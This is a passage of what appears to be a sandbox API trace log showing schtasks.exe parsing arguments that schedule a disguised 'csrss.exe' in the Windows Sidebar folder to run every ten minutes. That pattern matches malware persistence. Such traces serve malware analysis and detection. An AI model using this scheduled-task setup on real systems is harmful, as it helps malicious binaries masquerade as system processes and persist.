_Buffer="|change|") returned 8 [0058.474] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.474] lstrlenW (lpString="|change|") returned 8 [0058.474] lstrlenW (lpString="|sc|") returned 4 [0058.474] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0058.474] SetLastError (dwErrCode=0x490) [0058.474] lstrlenW (lpString="run") returned 3 [0058.474] lstrlenW (lpString="run") returned 3 [0058.474] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.474] lstrlenW (lpString="sc") returned 2 [0058.474] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.474] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|run|") returned 5 [0058.475] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.475] lstrlenW (lpString="|run|") returned 5 [0058.475] lstrlenW (lpString="|sc|") returned 4 [0058.475] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0058.475] SetLastError (dwErrCode=0x490) [0058.475] lstrlenW (lpString="end") returned 3 [0058.475] lstrlenW (lpString="end") returned 3 [0058.475] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.475] lstrlenW (lpString="sc") returned 2 [0058.475] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.475] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|end|") returned 5 [0058.475] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.475] lstrlenW (lpString="|end|") returned 5 [0058.475] lstrlenW (lpString="|sc|") returned 4 [0058.475] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0058.475] SetLastError (dwErrCode=0x490) [0058.475] lstrlenW (lpString="showsid") returned 7 [0058.475] lstrlenW (lpString="showsid") returned 7 [0058.475] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.475] lstrlenW (lpString="sc") returned 2 [0058.475] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.475] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|showsid|") returned 9 [0058.475] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.475] lstrlenW (lpString="|showsid|") returned 9 [0058.475] lstrlenW (lpString="|sc|") returned 4 [0058.475] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0058.475] SetLastError (dwErrCode=0x490) [0058.475] SetLastError (dwErrCode=0x490) [0058.475] SetLastError (dwErrCode=0x0) [0058.476] lstrlenW (lpString="/sc") returned 3 [0058.476] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0058.476] SetLastError (dwErrCode=0x490) [0058.476] SetLastError (dwErrCode=0x0) [0058.476] lstrlenW (lpString="/sc") returned 3 [0058.476] GetProcessHeap () returned 0x50000 [0058.476] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c3d0 [0058.476] GetProcessHeap () returned 0x50000 [0058.476] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cdb0 [0058.476] SetLastError (dwErrCode=0x0) [0058.476] SetLastError (dwErrCode=0x0) [0058.476] lstrlenW (lpString="MINUTE") returned 6 [0058.476] lstrlenW (lpString="-/") returned 2 [0058.476] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0058.476] SetLastError (dwErrCode=0x490) [0058.476] SetLastError (dwErrCode=0x490) [0058.476] SetLastError (dwErrCode=0x0) [0058.476] lstrlenW (lpString="MINUTE") returned 6 [0058.476] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0058.476] SetLastError (dwErrCode=0x490) [0058.476] SetLastError (dwErrCode=0x0) [0058.476] lstrlenW (lpString="MINUTE") returned 6 [0058.476] GetProcessHeap () returned 0x50000 [0058.476] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6c3f0 [0058.476] GetProcessHeap () returned 0x50000 [0058.476] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cde0 [0058.476] SetLastError (dwErrCode=0x0) [0058.476] SetLastError (dwErrCode=0x0) [0058.476] lstrlenW (lpString="/mo") returned 3 [0058.476] lstrlenW (lpString="-/") returned 2 [0058.476] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.476] lstrlenW (lpString="?") returned 1 [0058.476] lstrlenW (lpString="?") returned 1 [0058.477] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.477] lstrlenW (lpString="mo") returned 2 [0058.477] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.477] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.477] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.477] lstrlenW (lpString="|?|") returned 3 [0058.477] lstrlenW (lpString="|mo|") returned 4 [0058.477] SetLastError (dwErrCode=0x490) [0058.477] lstrlenW (lpString="create") returned 6 [0058.477] lstrlenW (lpString="create") returned 6 [0058.477] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.477] lstrlenW (lpString="mo") returned 2 [0058.477] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.477] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.477] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.477] lstrlenW (lpString="|create|") returned 8 [0058.477] lstrlenW (lpString="|mo|") returned 4 [0058.477] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0058.477] SetLastError (dwErrCode=0x490) [0058.477] lstrlenW (lpString="delete") returned 6 [0058.477] lstrlenW (lpString="delete") returned 6 [0058.477] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.477] lstrlenW (lpString="mo") returned 2 [0058.477] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.477] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|delete|") returned 8 [0058.477] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.477] lstrlenW (lpString="|delete|") returned 8 [0058.477] lstrlenW (lpString="|mo|") returned 4 [0058.478] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0058.478] SetLastError (dwErrCode=0x490) [0058.478] lstrlenW (lpString="query") returned 5 [0058.478] lstrlenW (lpString="query") returned 5 [0058.478] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.478] lstrlenW (lpString="mo") returned 2 [0058.478] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.478] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|query|") returned 7 [0058.478] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.478] lstrlenW (lpString="|query|") returned 7 [0058.478] lstrlenW (lpString="|mo|") returned 4 [0058.478] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0058.478] SetLastError (dwErrCode=0x490) [0058.478] lstrlenW (lpString="change") returned 6 [0058.478] lstrlenW (lpString="change") returned 6 [0058.478] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.478] lstrlenW (lpString="mo") returned 2 [0058.478] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.478] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|change|") returned 8 [0058.478] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.478] lstrlenW (lpString="|change|") returned 8 [0058.478] lstrlenW (lpString="|mo|") returned 4 [0058.478] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0058.478] SetLastError (dwErrCode=0x490) [0058.478] lstrlenW (lpString="run") returned 3 [0058.478] lstrlenW (lpString="run") returned 3 [0058.478] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.478] lstrlenW (lpString="mo") returned 2 [0058.478] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.479] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|run|") returned 5 [0058.479] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.479] lstrlenW (lpString="|run|") returned 5 [0058.479] lstrlenW (lpString="|mo|") returned 4 [0058.479] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0058.479] SetLastError (dwErrCode=0x490) [0058.479] lstrlenW (lpString="end") returned 3 [0058.479] lstrlenW (lpString="end") returned 3 [0058.479] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.479] lstrlenW (lpString="mo") returned 2 [0058.479] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.479] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|end|") returned 5 [0058.479] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.479] lstrlenW (lpString="|end|") returned 5 [0058.479] lstrlenW (lpString="|mo|") returned 4 [0058.479] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0058.479] SetLastError (dwErrCode=0x490) [0058.479] lstrlenW (lpString="showsid") returned 7 [0058.479] lstrlenW (lpString="showsid") returned 7 [0058.479] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.479] lstrlenW (lpString="mo") returned 2 [0058.479] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.479] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|showsid|") returned 9 [0058.479] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|mo|") returned 4 [0058.479] lstrlenW (lpString="|showsid|") returned 9 [0058.479] lstrlenW (lpString="|mo|") returned 4 [0058.479] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0058.479] SetLastError (dwErrCode=0x490) [0058.479] SetLastError (dwErrCode=0x490) [0058.479] SetLastError (dwErrCode=0x0) [0058.479] lstrlenW (lpString="/mo") returned 3 [0058.479] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0058.479] SetLastError (dwErrCode=0x490) [0058.480] SetLastError (dwErrCode=0x0) [0058.480] lstrlenW (lpString="/mo") returned 3 [0058.480] GetProcessHeap () returned 0x50000 [0058.480] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c410 [0058.480] GetProcessHeap () returned 0x50000 [0058.480] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce10 [0058.480] SetLastError (dwErrCode=0x0) [0058.480] SetLastError (dwErrCode=0x0) [0058.480] lstrlenW (lpString="10") returned 2 [0058.480] lstrlenW (lpString="-/") returned 2 [0058.480] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0058.480] SetLastError (dwErrCode=0x490) [0058.480] SetLastError (dwErrCode=0x490) [0058.480] SetLastError (dwErrCode=0x0) [0058.480] lstrlenW (lpString="10") returned 2 [0058.480] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0058.480] SetLastError (dwErrCode=0x490) [0058.480] SetLastError (dwErrCode=0x0) [0058.480] lstrlenW (lpString="10") returned 2 [0058.480] GetProcessHeap () returned 0x50000 [0058.480] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x6) returned 0x6c430 [0058.480] GetProcessHeap () returned 0x50000 [0058.480] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce40 [0058.480] SetLastError (dwErrCode=0x0) [0058.480] SetLastError (dwErrCode=0x0) [0058.480] lstrlenW (lpString="/tr") returned 3 [0058.480] lstrlenW (lpString="-/") returned 2 [0058.480] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.480] lstrlenW (lpString="?") returned 1 [0058.480] lstrlenW (lpString="?") returned 1 [0058.480] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.480] lstrlenW (lpString="tr") returned 2 [0058.480] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.480] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.481] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.481] lstrlenW (lpString="|?|") returned 3 [0058.481] lstrlenW (lpString="|tr|") returned 4 [0058.481] SetLastError (dwErrCode=0x490) [0058.481] lstrlenW (lpString="create") returned 6 [0058.481] lstrlenW (lpString="create") returned 6 [0058.481] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.481] lstrlenW (lpString="tr") returned 2 [0058.481] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.481] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.481] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.481] lstrlenW (lpString="|create|") returned 8 [0058.481] lstrlenW (lpString="|tr|") returned 4 [0058.481] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0058.481] SetLastError (dwErrCode=0x490) [0058.481] lstrlenW (lpString="delete") returned 6 [0058.481] lstrlenW (lpString="delete") returned 6 [0058.481] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.481] lstrlenW (lpString="tr") returned 2 [0058.481] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.481] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|delete|") returned 8 [0058.481] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.481] lstrlenW (lpString="|delete|") returned 8 [0058.481] lstrlenW (lpString="|tr|") returned 4 [0058.481] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0058.481] SetLastError (dwErrCode=0x490) [0058.481] lstrlenW (lpString="query") returned 5 [0058.481] lstrlenW (lpString="query") returned 5 [0058.481] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.482] lstrlenW (lpString="tr") returned 2 [0058.482] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.482] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|query|") returned 7 [0058.482] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.482] lstrlenW (lpString="|query|") returned 7 [0058.482] lstrlenW (lpString="|tr|") returned 4 [0058.482] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0058.482] SetLastError (dwErrCode=0x490) [0058.482] lstrlenW (lpString="change") returned 6 [0058.482] lstrlenW (lpString="change") returned 6 [0058.482] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.482] lstrlenW (lpString="tr") returned 2 [0058.482] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.482] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|change|") returned 8 [0058.482] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.482] lstrlenW (lpString="|change|") returned 8 [0058.482] lstrlenW (lpString="|tr|") returned 4 [0058.482] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0058.482] SetLastError (dwErrCode=0x490) [0058.482] lstrlenW (lpString="run") returned 3 [0058.482] lstrlenW (lpString="run") returned 3 [0058.482] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.482] lstrlenW (lpString="tr") returned 2 [0058.482] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.482] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|run|") returned 5 [0058.482] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.482] lstrlenW (lpString="|run|") returned 5 [0058.482] lstrlenW (lpString="|tr|") returned 4 [0058.482] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0058.483] SetLastError (dwErrCode=0x490) [0058.483] lstrlenW (lpString="end") returned 3 [0058.483] lstrlenW (lpString="end") returned 3 [0058.483] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.483] lstrlenW (lpString="tr") returned 2 [0058.483] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.483] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|end|") returned 5 [0058.483] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.483] lstrlenW (lpString="|end|") returned 5 [0058.483] lstrlenW (lpString="|tr|") returned 4 [0058.483] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0058.483] SetLastError (dwErrCode=0x490) [0058.483] lstrlenW (lpString="showsid") returned 7 [0058.483] lstrlenW (lpString="showsid") returned 7 [0058.483] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.483] lstrlenW (lpString="tr") returned 2 [0058.483] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.483] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|showsid|") returned 9 [0058.483] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tr|") returned 4 [0058.483] lstrlenW (lpString="|showsid|") returned 9 [0058.483] lstrlenW (lpString="|tr|") returned 4 [0058.483] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0058.483] SetLastError (dwErrCode=0x490) [0058.483] SetLastError (dwErrCode=0x490) [0058.483] SetLastError (dwErrCode=0x0) [0058.483] lstrlenW (lpString="/tr") returned 3 [0058.483] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0058.483] SetLastError (dwErrCode=0x490) [0058.483] SetLastError (dwErrCode=0x0) [0058.483] lstrlenW (lpString="/tr") returned 3 [0058.483] GetProcessHeap () returned 0x50000 [0058.483] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c450 [0058.484] GetProcessHeap () returned 0x50000 [0058.484] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce70 [0058.484] SetLastError (dwErrCode=0x0) [0058.484] SetLastError (dwErrCode=0x0) [0058.484] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.484] lstrlenW (lpString="-/") returned 2 [0058.484] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0058.484] SetLastError (dwErrCode=0x490) [0058.484] SetLastError (dwErrCode=0x490) [0058.484] SetLastError (dwErrCode=0x0) [0058.484] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.484] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows Sidebar\\csrss.exe'" [0058.484] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.484] GetProcessHeap () returned 0x50000 [0058.484] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6c470 [0058.484] _memicmp (_Buf1=0x6c470, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.484] GetProcessHeap () returned 0x50000 [0058.484] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6c490 [0058.484] GetProcessHeap () returned 0x50000 [0058.484] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6d640 [0058.484] _memicmp (_Buf1=0x6d640, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.484] GetProcessHeap () returned 0x50000 [0058.484] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x68) returned 0x6de10 [0058.484] SetLastError (dwErrCode=0x7a) [0058.484] SetLastError (dwErrCode=0x0) [0058.484] SetLastError (dwErrCode=0x0) [0058.484] lstrlenW (lpString="'C") returned 2 [0058.484] lstrlenW (lpString="-/") returned 2 [0058.484] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0058.484] SetLastError (dwErrCode=0x490) [0058.485] SetLastError (dwErrCode=0x490) [0058.485] SetLastError (dwErrCode=0x0) [0058.485] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.485] GetProcessHeap () returned 0x50000 [0058.485] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x66) returned 0x6de80 [0058.485] GetProcessHeap () returned 0x50000 [0058.485] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cea0 [0058.485] SetLastError (dwErrCode=0x0) [0058.485] SetLastError (dwErrCode=0x0) [0058.485] lstrlenW (lpString="/rl") returned 3 [0058.485] lstrlenW (lpString="-/") returned 2 [0058.485] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.485] lstrlenW (lpString="?") returned 1 [0058.485] lstrlenW (lpString="?") returned 1 [0058.485] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.485] lstrlenW (lpString="rl") returned 2 [0058.485] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.485] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.485] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.485] lstrlenW (lpString="|?|") returned 3 [0058.485] lstrlenW (lpString="|rl|") returned 4 [0058.485] SetLastError (dwErrCode=0x490) [0058.485] lstrlenW (lpString="create") returned 6 [0058.485] lstrlenW (lpString="create") returned 6 [0058.485] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.485] lstrlenW (lpString="rl") returned 2 [0058.485] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.485] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.485] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.485] lstrlenW (lpString="|create|") returned 8 [0058.485] lstrlenW (lpString="|rl|") returned 4 [0058.486] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0058.486] SetLastError (dwErrCode=0x490) [0058.486] lstrlenW (lpString="delete") returned 6 [0058.486] lstrlenW (lpString="delete") returned 6 [0058.486] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.486] lstrlenW (lpString="rl") returned 2 [0058.486] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.486] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|delete|") returned 8 [0058.486] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.486] lstrlenW (lpString="|delete|") returned 8 [0058.486] lstrlenW (lpString="|rl|") returned 4 [0058.486] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0058.486] SetLastError (dwErrCode=0x490) [0058.486] lstrlenW (lpString="query") returned 5 [0058.486] lstrlenW (lpString="query") returned 5 [0058.486] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.486] lstrlenW (lpString="rl") returned 2 [0058.486] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.486] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|query|") returned 7 [0058.486] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.486] lstrlenW (lpString="|query|") returned 7 [0058.486] lstrlenW (lpString="|rl|") returned 4 [0058.486] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0058.486] SetLastError (dwErrCode=0x490) [0058.486] lstrlenW (lpString="change") returned 6 [0058.486] lstrlenW (lpString="change") returned 6 [0058.486] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.486] lstrlenW (lpString="rl") returned 2 [0058.486] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.487] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|change|") returned 8 [0058.487] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.487] lstrlenW (lpString="|change|") returned 8 [0058.487] lstrlenW (lpString="|rl|") returned 4 [0058.487] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0058.487] SetLastError (dwErrCode=0x490) [0058.487] lstrlenW (lpString="run") returned 3 [0058.487] lstrlenW (lpString="run") returned 3 [0058.487] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.487] lstrlenW (lpString="rl") returned 2 [0058.487] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.487] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|run|") returned 5 [0058.487] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 